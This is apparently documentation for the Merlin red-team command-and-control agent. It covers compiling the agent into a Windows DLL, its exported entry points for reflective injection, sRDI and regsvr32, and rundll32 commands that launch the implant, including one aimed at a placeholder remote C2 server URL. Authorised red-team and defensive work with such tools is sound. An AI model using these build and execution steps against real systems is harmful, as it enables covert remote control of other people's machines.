DLL Agent¶
The Merlin Agent can be compiled into a DLL using the https://github.com/Ne0nd0g/merlin-agent-dll repository.
The merlin.c file is a very simple C file with a single function.
The VoidFunc and Run functions are exported to facilitate executing the DLL.
The VoidFunc function name was specifically chosen to facilitate use with PowerSploit’s
Invoke-ReflectivePEInjection.ps1.
Using VoidFunc requires no modification to run Merlin’s DLL with Invoke-ReflectivePEInjection.
If the DLL is compiled on Windows, the TDM-GCC 64bit compiler has proven to work well during testing.
If the DLL is compiled on Linux, ensure MinGW-w64 is installed.
Creating the DLL¶
The DLL can be created using the Make file with make
Alternatively, it can be compiled without Make by following these steps:
- Create the required C archive file:
go build -buildmode=c-archive main.go
- Compile the DLL
gcc -shared -pthread -o merlin.dll merlin.c main.a -lwinmm -lntdll -lws2_32
You will now have DLL file that you can use with whatever method of execution you would like.
DLL Entry Points¶
This table catalogs the exported functions for merlin.dll that can be used as an entry point when executing the DLL.
| Exported Function | Status | Notes |
|---|---|---|
| Run | Working | Main function to execute Merlin agent |
| DllInstall | Partial | Used with regsvr32.exe /i . Handling for /i not implemented |
| DllRegisterServer | Working | Used with regsvr32.exe |
| DllUnregisterServer | Working | Used with regsvr32.exe /u |
| ReflectiveLoader | Removed | Used with Metasploit’s windows/manage/reflective_dll_inject module |
| Magic | Working | Exported function in merlin.c; used with sRDI or any other method |
| Merlin | Working | Exported function in main.go |
| VoidFunc | Working | Used with PowerSploit’s Invoke-ReflectivePEInjection.ps1 |
Execution with rundll32.exe¶
The DLL can be executed on a Windows host using the rundll32.exe program. Examples of using rundll32 are:
rundll32 merlin.dll,Runrundll32 merlin.dll,Merlinrundll32 merlin.dll,Magic
A different Merlin server can be provided when executing the DLL by supplying the target URL as an argument. An example is:
rundll32 merlin.dll,Run https://yourdomian.com:443/
NOTE: Passing a custom URL only works when using cmd.exe and fails when using powershell.exe